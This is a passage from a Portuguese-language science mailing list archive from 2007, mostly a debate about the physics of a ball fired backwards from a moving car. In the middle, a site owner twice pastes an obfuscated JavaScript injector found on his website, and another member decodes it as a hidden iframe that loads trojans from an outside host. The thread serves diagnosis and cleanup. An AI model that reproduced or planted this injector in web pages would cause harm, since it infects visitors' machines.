Entre ser afirmado e ser verdadeiro há uma distância tal q não se pode
descartar algo com base apenas no primeiro.

> o turbilhão de ar arrastará a bola no sentido do deslocamento do
> carro.

Embora o turbilhão possa causar algum efeito, note-se q a bola só
começa a se deslocar para a frente com boa velocidade depois q ela
atinge o solo. No caso do arrasto pelo "vácuo", o efeito deve ser
sentido a partir do momento do lançamento da bola.

Para q o ar seja o responsável, o efeito deveria ser pelo arrasto
aerodinâmico D, q é dado por:

D = Cx*q*A

Em q Cx é o coeficiente aerodinâmico, q é a pressão dinâmica e A é a
área frontal de contato entre o objeto e o ar. q é dado por:
q = (d<ar> x V^2)/2
em q d<ar> é a densidade do ar e V é a velocidade relativa de
deslocamento do ar em relação ao objeto.

Uma bola de beisebol tem cerca de 7,5 cm de diâmetro, assim sua área
de seção transversal máxima é de cerca de 45 cm2 = 0,0045 m2. A
densidade do ar é de 1,2 kg/m3. O Cx de uma esfera é de cerca de 0,47.
Se a velocidade do vento de arrasto for de cerca de 50 km/h (cerca de
14 m/s), então a força horizontal resultante sobre a bola seria de
cerca de 0,25 N. Para uma massa de cerca de 140 g, isso proporcionaria
uma aceleração de cerca de 1,78 m/s2. Isto é, ao final do primeiro
segundo de impulsão, a bolinha teria uma velocidade de cerca de 1,78
m/s (ou cerca de 6 km/h). Se medirmos isso no vídeo, veremos q ao
tocar no solo a bolinha adquire uma velocidade bem maior do q isso.

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
CC: avalanchedrive@hotmail.com
DATE: 19/06/2007 22:11

Rapazes, oi...
Leigamente falando, SÓ pode estar acontecendo uma coisa:
- a bola é lançada CONTRA a velocidade do carro, ou seja, carro p/a frente,
bola p/trás.
- é lógico que ela vai acompanhar a velocidade do carro, como uma bomba
lançada de um avião.
- a bola quicando na direção do carro mostra que ela está sob duas forças,
um vetor entre a gravidade da terra e a velocidade original do carro.
- reparem que a bola está quicando muito lentamente.
- p/a bola ser lançada a 100km/h MESMO, ou 100km/h efetivos, teriam que
dispôr de um lançador a 200km/h, sendo 50% p/anular a velocidade do carro.
Elementar.
abr/M. SP 19/jun


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
>100Km/h:osresultados
>Date: Tue, 19 Jun 2007 23:20:36 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> > ou a da bola um pouquinho menor que a do carro deve ser descartada,
> > visto que está afirmado que a velocidade de ambos é 100 km/h.
>
>Entre ser afirmado e ser verdadeiro há uma distância tal q não se pode
>descartar algo com base apenas no primeiro.
>
> > o turbilhão de ar arrastará a bola no sentido do deslocamento do
> > carro.
>
>Embora o turbilhão possa causar algum efeito, note-se q a bola só
>começa a se deslocar para a frente com boa velocidade depois q ela
>atinge o solo. No caso do arrasto pelo "vácuo", o efeito deve ser
>sentido a partir do momento do lançamento da bola.
>
>Para q o ar seja o responsável, o efeito deveria ser pelo arrasto
>aerodinâmico D, q é dado por:
>
>D = Cx*q*A
>
>Em q Cx é o coeficiente aerodinâmico, q é a pressão dinâmica e A é a
>área frontal de contato entre o objeto e o ar. q é dado por:
>q = (d<ar> x V^2)/2
>em q d<ar> é a densidade do ar e V é a velocidade relativa de
>deslocamento do ar em relação ao objeto.
>
>Uma bola de beisebol tem cerca de 7,5 cm de diâmetro, assim sua área
>de seção transversal máxima é de cerca de 45 cm2 = 0,0045 m2. A
>densidade do ar é de 1,2 kg/m3. O Cx de uma esfera é de cerca de 0,47.
> Se a velocidade do vento de arrasto for de cerca de 50 km/h (cerca de
>14 m/s), então a força horizontal resultante sobre a bola seria de
>cerca de 0,25 N. Para uma massa de cerca de 140 g, isso proporcionaria
>uma aceleração de cerca de 1,78 m/s2. Isto é, ao final do primeiro
>segundo de impulsão, a bolinha teria uma velocidade de cerca de 1,78
>m/s (ou cerca de 6 km/h). Se medirmos isso no vídeo, veremos q ao
>tocar no solo a bolinha adquire uma velocidade bem maior do q isso.
>
>[]s,
>
>Roberto Takata
>
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SUBJECT: RE: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/06/2007 22:30

Mas a idéia era justamente essa, lançar a bola a 100km para provar que ela teria sua velocidade anulada a ZERO =)


Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666




-----Original Message-----
From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of murilo filo
Sent: Tuesday, June 19, 2007 10:12 PM
To: ciencialist@yahoogrupos.com.br
Cc: avalanchedrive@hotmail.com
Subject: RE: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados

Rapazes, oi...
Leigamente falando, SÓ pode estar acontecendo uma coisa:
- a bola é lançada CONTRA a velocidade do carro, ou seja, carro p/a frente,
bola p/trás.
- é lógico que ela vai acompanhar a velocidade do carro, como uma bomba
lançada de um avião.
- a bola quicando na direção do carro mostra que ela está sob duas forças,
um vetor entre a gravidade da terra e a velocidade original do carro.
- reparem que a bola está quicando muito lentamente.
- p/a bola ser lançada a 100km/h MESMO, ou 100km/h efetivos, teriam que
dispôr de um lançador a 200km/h, sendo 50% p/anular a velocidade do carro.
Elementar.
abr/M. SP 19/jun


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
>100Km/h:osresultados
>Date: Tue, 19 Jun 2007 23:20:36 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> > ou a da bola um pouquinho menor que a do carro deve ser descartada,
> > visto que está afirmado que a velocidade de ambos é 100 km/h.
>
>Entre ser afirmado e ser verdadeiro há uma distância tal q não se pode
>descartar algo com base apenas no primeiro.
>
> > o turbilhão de ar arrastará a bola no sentido do deslocamento do
> > carro.
>
>Embora o turbilhão possa causar algum efeito, note-se q a bola só
>começa a se deslocar para a frente com boa velocidade depois q ela
>atinge o solo. No caso do arrasto pelo "vácuo", o efeito deve ser
>sentido a partir do momento do lançamento da bola.
>
>Para q o ar seja o responsável, o efeito deveria ser pelo arrasto
>aerodinâmico D, q é dado por:
>
>D = Cx*q*A
>
>Em q Cx é o coeficiente aerodinâmico, q é a pressão dinâmica e A é a
>área frontal de contato entre o objeto e o ar. q é dado por:
>q = (d<ar> x V^2)/2
>em q d<ar> é a densidade do ar e V é a velocidade relativa de
>deslocamento do ar em relação ao objeto.
>
>Uma bola de beisebol tem cerca de 7,5 cm de diâmetro, assim sua área
>de seção transversal máxima é de cerca de 45 cm2 = 0,0045 m2. A
>densidade do ar é de 1,2 kg/m3. O Cx de uma esfera é de cerca de 0,47.
> Se a velocidade do vento de arrasto for de cerca de 50 km/h (cerca de
>14 m/s), então a força horizontal resultante sobre a bola seria de
>cerca de 0,25 N. Para uma massa de cerca de 140 g, isso proporcionaria
>uma aceleração de cerca de 1,78 m/s2. Isto é, ao final do primeiro
>segundo de impulsão, a bolinha teria uma velocidade de cerca de 1,78
>m/s (ou cerca de 6 km/h). Se medirmos isso no vídeo, veremos q ao
>tocar no solo a bolinha adquire uma velocidade bem maior do q isso.
>
>[]s,
>
>Roberto Takata
>
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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/06/2007 23:05

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> - é lógico que ela vai acompanhar a velocidade do carro, como uma
> bomba lançada de um avião.

Não é lógico porq, as bombas são despejadas e não lançadas para trás.

> - a bola quicando na direção do carro mostra que ela está sob duas
> forças, um vetor entre a gravidade da terra e a velocidade original
> do carro.

Hãããã?

> - reparem que a bola está quicando muito lentamente.

Lentamente?

> - p/a bola ser lançada a 100km/h MESMO, ou 100km/h efetivos, teriam
> que dispôr de um lançador a 200km/h, sendo 50% p/anular a velocidade
> do carro.

A idéia não é essa. A idéia é lançar a bola a 100 km/h em relação ao
carro.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 00:55

Takata: [ Entre ser afirmado e ser verdadeiro há uma distância tal q não se
pode
descartar algo com base apenas no primeiro. ]
.....................................................................

Imagine o que ocorreria com as soluções dos problemas se as afirmações dos
enunciados não fossem consideradas verdadeiras!!!
Reveja o vídeo e observe que a bola *não cai na vertical* pela primeira vez,
tem uma inclinação no sentido do deslocamento do carro.
[]s
JR
............................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, June 19, 2007 8:20 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> ou a da bola um pouquinho menor que a do carro deve ser descartada,
> visto que está afirmado que a velocidade de ambos é 100 km/h.

Entre ser afirmado e ser verdadeiro há uma distância tal q não se pode
descartar algo com base apenas no primeiro.

> o turbilhão de ar arrastará a bola no sentido do deslocamento do
> carro.

Embora o turbilhão possa causar algum efeito, note-se q a bola só
começa a se deslocar para a frente com boa velocidade depois q ela
atinge o solo. No caso do arrasto pelo "vácuo", o efeito deve ser
sentido a partir do momento do lançamento da bola.

Para q o ar seja o responsável, o efeito deveria ser pelo arrasto
aerodinâmico D, q é dado por:

D = Cx*q*A

Em q Cx é o coeficiente aerodinâmico, q é a pressão dinâmica e A é a
área frontal de contato entre o objeto e o ar. q é dado por:
q = (d<ar> x V^2)/2
em q d<ar> é a densidade do ar e V é a velocidade relativa de
deslocamento do ar em relação ao objeto.

Uma bola de beisebol tem cerca de 7,5 cm de diâmetro, assim sua área
de seção transversal máxima é de cerca de 45 cm2 = 0,0045 m2. A
densidade do ar é de 1,2 kg/m3. O Cx de uma esfera é de cerca de 0,47.
Se a velocidade do vento de arrasto for de cerca de 50 km/h (cerca de
14 m/s), então a força horizontal resultante sobre a bola seria de
cerca de 0,25 N. Para uma massa de cerca de 140 g, isso proporcionaria
uma aceleração de cerca de 1,78 m/s2. Isto é, ao final do primeiro
segundo de impulsão, a bolinha teria uma velocidade de cerca de 1,78
m/s (ou cerca de 6 km/h). Se medirmos isso no vídeo, veremos q ao
tocar no solo a bolinha adquire uma velocidade bem maior do q isso.

[]s,

Roberto Takata



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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 01:30

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Imagine o que ocorreria com as soluções dos problemas se as
> afirmações dos enunciados não fossem consideradas verdadeiras!!!

Enunciados de problemas *teóricos* são outros quinhentos. A questão
aqui é prática.

> Reveja o vídeo e observe que a bola *não cai na vertical* pela
> primeira vez, tem uma inclinação no sentido do deslocamento do
> carro.

Isso depõem exatamente contra a hipótese de q a velocidade da bola (em
relação ao carro) e do carro (em relação ao solo) coincidam em módulo.

Disponibilizei uma montagem com a trajetória da bola em:
http://br.groups.yahoo.com/group/ciencialist/files/ball2.jpg

Nesta daqui há tb as posições dos pneus nos primeiros fotogramas -
vermelho o pneu dianteiro e azul o traseiro.
http://br.groups.yahoo.com/group/ciencialist/files/ball.jpg

Pela posição dos pneus nos fotogramas da repetição em câmara lenta
pode ser pelo menos uma destas situações:
- a velocidade do carro não é uniforme ao longo da trajetória;
- os fotogramas não estão distribuídos uniformemente no tempo.

Desse modo, os pontos verdes consecutivos q marcam a trajetória da
bola não marcam necessariamente pontos com um intervalo fixo de tempo.
Embora isso comprometa a estimativa da velocidade da bola, pela
análise da trajetória podemos concluir alguns pontos:

1 - a bola cai em um arco de parábola antes de tocar o chão pela
primeira vez;
2 - o arco de parábola depois do primeiro quique é mais aberto (e mais
baixo);
3 - a abertura aumenta com os quiques sucessivos (e a altura diminui).

Por 1 vemos q há um componente horizontal na velocidade de queda da
bola logo após seu lançamento - isso poderia se dever a pelo menos uma
de duas coisas:
1.2 - o módulo da velocidade de lançamento da bola (em relação ao
carro) não coincide exatamente com o da velocidade do carro (em
relação ao solo), é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela
passagem do carro;

Por 2 e 3, vemos q a bola ganha velocidade horizontal a cada quique
(e, sem surpresas, tb perde energia q faz com q ela suba cada vez
menos). Pelo menos uma de três coisas:
2/3.1 - A inclinação do solo não é zero em relação à direção da força
peso;
2/3.2 - O momento angular da bola é transformado em momento linear
horizontal na interação dela com o solo.
2/3.4 - O vento está empurrando a bola.

Se 1.3 é verdadeiro e o fator vento é preponderante, então 2/3.4
provavelmente é verdadeiro. Porém, a trajetória da bola é um arco de
parábola muito bem comportado. Se o vento estivesse empurrando a bola,
o arco deveria ficar deformado pela componente horizontal da
resultante sobre a bola acelerá-la - espichando a parte da esquerda do
arco. Se fosse o vento do carro, o efeito maior deveria ser logo no
início, pois rapidamente ele se dilui.

Assim, embora 1.3 possa ser verdadeiro, o vento não deve ser o fator
preponderante de modo q 2/3.4 deve ser provavelmente falso.

1.2 provavelmente é verdadeiro, mas ele não explica 2 e 3.

2/3.1 não deve ser um fator preponderante, pois, novamente
esperaríamos um arco deformado com a parte da esquerda mais espichado.

Assim, provavelmente 2/3.2 é o fator preponderante para o avanço da
bola. Embora ela certamente não explique 1.

(Eventualmente outros fatores poderão contribuir para a trajetória e
velocidade da bola.)

Bela questão para vestibular.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Paineis solares no google
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 09:03



Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 12:04

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 1:30 AM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:os
resultados

Takata escreveu:
[ 1.2 - o módulo da velocidade de lançamento da bola (em relação ao carro)
não coincide exatamente com o da velocidade do carro (em relação ao solo),
[a velocidade do carro] é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela passagem do
carro; ]
...........................................

A força do vento deslocado pelo carro, *acelera* a bola na horizontal e
explica o aumento dos arcos das parábolas após o lançamento da bola.

O posicionamento da bola e das rodas do carro na foto são extremamente
irregulares, o que certamente não reflete o movimento real de ambos.

Sutilmente, Takata responde ao questionamento que fiz em e-mail anterior:
[ qual o referencial usado para medir a velocidade da bola lançada do
veículo?].
Como já tinha adiantado o carro usa a pista-chão, como referencial para a
medida da sua velocidade de deslocamento, e a bola usa o carro-lançador como
referencial para medir sua velocidade de lançamento.

Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
referenciais, como fizeram na questão do avião-esteira?

Será que a semelhança entre esteira-carro e avião-bola já começa a ser
percebida?

Abraços

José Renato
..........................................



SUBJECT: Invasao no Imperdivel --- e nao ///Paineis solares no google///
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 12:10

Sorry, quis aproveitar o e-mail do Brudna para minha mensagem e esqueci-me de trocar o Assunto: .
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================

Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

[]'
Léo


SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 12:14

O sabor científico das argumentações takatianas são uma preciosidade. Se o Takata conseguir passar para o Ferrari 1 ppm disso tudo, o moço da ferrari já poderia começar a conversar sobre algo útil. Takata não é o mapa, é o território!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 01:30
Assunto: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Imagine o que ocorreria com as soluções dos problemas se as
> afirmações dos enunciados não fossem consideradas verdadeiras!!!

Enunciados de problemas *teóricos* são outros quinhentos. A questão
aqui é prática.

> Reveja o vídeo e observe que a bola *não cai na vertical* pela
> primeira vez, tem uma inclinação no sentido do deslocamento do
> carro.

Isso depõem exatamente contra a hipótese de q a velocidade da bola (em
relação ao carro) e do carro (em relação ao solo) coincidam em módulo.

Disponibilizei uma montagem com a trajetória da bola em:
http://br.groups.yahoo.com/group/ciencialist/files/ball2.jpg

Nesta daqui há tb as posições dos pneus nos primeiros fotogramas -
vermelho o pneu dianteiro e azul o traseiro.
http://br.groups.yahoo.com/group/ciencialist/files/ball.jpg

Pela posição dos pneus nos fotogramas da repetição em câmara lenta
pode ser pelo menos uma destas situações:
- a velocidade do carro não é uniforme ao longo da trajetória;
- os fotogramas não estão distribuídos uniformemente no tempo.

Desse modo, os pontos verdes consecutivos q marcam a trajetória da
bola não marcam necessariamente pontos com um intervalo fixo de tempo.
Embora isso comprometa a estimativa da velocidade da bola, pela
análise da trajetória podemos concluir alguns pontos:

1 - a bola cai em um arco de parábola antes de tocar o chão pela
primeira vez;
2 - o arco de parábola depois do primeiro quique é mais aberto (e mais
baixo);
3 - a abertura aumenta com os quiques sucessivos (e a altura diminui).

Por 1 vemos q há um componente horizontal na velocidade de queda da
bola logo após seu lançamento - isso poderia se dever a pelo menos uma
de duas coisas:
1.2 - o módulo da velocidade de lançamento da bola (em relação ao
carro) não coincide exatamente com o da velocidade do carro (em
relação ao solo), é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela
passagem do carro;

Por 2 e 3, vemos q a bola ganha velocidade horizontal a cada quique
(e, sem surpresas, tb perde energia q faz com q ela suba cada vez
menos). Pelo menos uma de três coisas:
2/3.1 - A inclinação do solo não é zero em relação à direção da força
peso;
2/3.2 - O momento angular da bola é transformado em momento linear
horizontal na interação dela com o solo.
2/3.4 - O vento está empurrando a bola.

Se 1.3 é verdadeiro e o fator vento é preponderante, então 2/3.4
provavelmente é verdadeiro. Porém, a trajetória da bola é um arco de
parábola muito bem comportado. Se o vento estivesse empurrando a bola,
o arco deveria ficar deformado pela componente horizontal da
resultante sobre a bola acelerá-la - espichando a parte da esquerda do
arco. Se fosse o vento do carro, o efeito maior deveria ser logo no
início, pois rapidamente ele se dilui.

Assim, embora 1.3 possa ser verdadeiro, o vento não deve ser o fator
preponderante de modo q 2/3.4 deve ser provavelmente falso.

1.2 provavelmente é verdadeiro, mas ele não explica 2 e 3.

2/3.1 não deve ser um fator preponderante, pois, novamente
esperaríamos um arco deformado com a parte da esquerda mais espichado.

Assim, provavelmente 2/3.2 é o fator preponderante para o avanço da
bola. Embora ela certamente não explique 1.

(Eventualmente outros fatores poderão contribuir para a trajetória e
velocidade da bola.)

Bela questão para vestibular.

[]s,

Roberto Takata



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http://www.ciencialist.com


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Version: 7.5.472 / Virus Database: 269.9.0/853 - Release Date: 18/06/2007 15:02




SUBJECT: Re: [ciencialist] Paineis solares no google
FROM: daniel danieç <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 13:40

o script converte o conteudo da variavel str1 para um código HTML que cria um IFRAME direcionando a uma pagina externa que começa a baixar um alguns trojans e virus...
o código gerad é este: (sem os espaços)
< d i v s t y l e = " v i s i b i l i t y : h i d d e n " > < i f r a m e s r c = " h t t p : / / k o n i c n t . c o m / l d / m e n t / " w i d t h = 1 h e i g h t = 1 > < / i f r a m e > < / d i v >

para impedir a chamada desta pagina, se este código estiver em alguma pagina no seu servidor, apenas arraque esta parte de código javascript... se o código estiver numa pagina externa referenciada por alguma pagina de seu servidor, tire a chamada desta pagina externa...


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:


Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

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Luiz Ferraz Netto [Léo]
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SUBJECT: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 14:11

> Como já tinha adiantado o carro usa a pista-chão, como referencial para a
> medida da sua velocidade de deslocamento, e a bola usa o carro-lançador
> como referencial para medir sua velocidade de lançamento.
>
> Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> referenciais, como fizeram na questão do avião-esteira?

E lá vamos nós...


Mas o que esse filme trata não é exatamente a questão dos referenciais? Mais
do que explicitamente?

A única coisa que os 2 problemas têm em comum é o seu erro, para variar...


Sds,

Ricardo






SUBJECT: P/ Renato - Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 14:17

Olá Jose Renato

Renato: "Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
referenciais, como fizeram na questão do avião-esteira?"

Sim, porque está, mais uma vez, falando besteira (desculpe, não encontrei outro termo mais adequado a sua obseção cognitiva com esse assunto..:-).

A bola tem o referencial que se desejar apenas como análise de comportamento relacional. Enquanto está no carro, sua velocidade (da bola), em relação ao solo, é de 100 km/h na mesma direção do veículo. Ao ser acelerada pela máquina, vai "diminuindo" sua velocidade em relação ao solo, até chegar a zero, pois acelerar nesse caso (e não no caso do avião e da esteira) é diminuir a velocidade em relação ao chão. O "truque" aqui (sempre existe algo que engana você nessas questões, como no caso da esteira), é que essa desaceleração se dá em instantes, no tempo que leva a máquina para acelerar a bola (aceleração em relação ao veículo, desaceleração em relação ao solo, mas com resultado IDENTICO em qualquer referencial tomado para análise).

Se desejar analisar a velocidade em relação a qualquer outro elemento, fique à vontade, mas sempre terá de escolher um referencial para entender o que acontece com a bola. Neste caso, a idéia é entender o que acontece com a bola em relação ao chão. Mas, e isso é IMPORTANTE e você parece não entender, não importa que refencial tome, a bola SEMPRE SE COMPORTARÁ DO MESMO JEITO!

Não vai mudar sua trajetória com a mudança de referencial, assim como o avião NÃO VAI DEIXAR DE DECOLAR se mudar a dele.

Renato: "A força do vento deslocado pelo carro, *acelera* a bola na horizontal e
explica o aumento dos arcos das parábolas após o lançamento da bola."

Não , não explica, e é isso que todos os calculos do Takata demonstram, embora você não os tenha compreendido. Pegue uma bola de basquete, jogue para frente, e ela vai pular, se afastando de você. Mas, se der rotação a bola, com a mão sob a bola "empurrando" a bola antes de soltar, e a de cima, "puxando a bola em sua direção entes de soltar (peça a um jogador de basquete para fazer o truque, ele vai entender rapidamente), a bola vai se afastar de você apenas enquanto não toca o solo, depois, vai quicar se aproximando de você, voltando para você, devido a rotação a ela imprimida.

O vento deslocado pelo carro deveria ser mais forte imediatamente depois da bola lançada, e não bem depois, quando esta chega ao solo. Nesse momento, o carro já se afastou, e a força do arrasto se diluiu, mais que no momento do lançamento. Assim, a bola deveria, se a força do vento fosse relevante, fazer a bola cair em arco, e depois ir diminuindo seu movimento em direção a trajetória do carro.

Você está deixando, mais uma vez, seu "bom senso" enganar você, principalmente devido a falta de informação sobre física. Está tentando analisar eventos físicos com sua "intuição" natural, o que, é claro, enganou nossos antepassados por milenios, e está iludindo você também. Se pelo menos estudasse o que o pessoal da lista sugeriu, diversas vezes, isso ajudaria bastante.

Homero




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 20, 2007 12:04 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados


From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 1:30 AM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:os
resultados

Takata escreveu:
[ 1.2 - o módulo da velocidade de lançamento da bola (em relação ao carro)
não coincide exatamente com o da velocidade do carro (em relação ao solo),
[a velocidade do carro] é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela passagem do
carro; ]
...........................................

A força do vento deslocado pelo carro, *acelera* a bola na horizontal e
explica o aumento dos arcos das parábolas após o lançamento da bola.

O posicionamento da bola e das rodas do carro na foto são extremamente
irregulares, o que certamente não reflete o movimento real de ambos.

Sutilmente, Takata responde ao questionamento que fiz em e-mail anterior:
[ qual o referencial usado para medir a velocidade da bola lançada do
veículo?].
Como já tinha adiantado o carro usa a pista-chão, como referencial para a
medida da sua velocidade de deslocamento, e a bola usa o carro-lançador como
referencial para medir sua velocidade de lançamento.

Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
referenciais, como fizeram na questão do avião-esteira?

Será que a semelhança entre esteira-carro e avião-bola já começa a ser
percebida?

Abraços

José Renato
..........................................





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Não venham me dizer que não é um texto que fala sobre ciência!
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 14:20

Não venham me dizer que não é um texto que fala sobre ciência!
Esteban.


O homem mais feliz do mundo está no Rio

Mingyur Rinpoche é um monge budista, nascido no Nepal, que ganhou
notoriedade internacional no início deste ano por ter sido apontado
por estudiosos da Universidade de Wisconsin como o "homem mais feliz
do mundo". Isso porque depois de ter sido submetido à uma série de
testes neurológicos que faziam parte de um estudo sobre a mente, teve
como diagnóstico a informação de suas ondas cerebrais correspondem a
uma felicidade ainda não experimentada por humanos. Por conta disso,
ele apareceu nas páginas da revista "Time" e da "National geographic",
o que obviamente ecoou em várias partes do planeta.

Os cariocas poderão testemunhar tamanha felicidade de perto ao longo
desta semana. Mingyur acaba de chegar ao Rio para uma série de
palestras sobre o livro que acaba de lançar por aqui, "A alegria de
viver". Nele, ele ensina técnicas simples de meditação, que ele alega
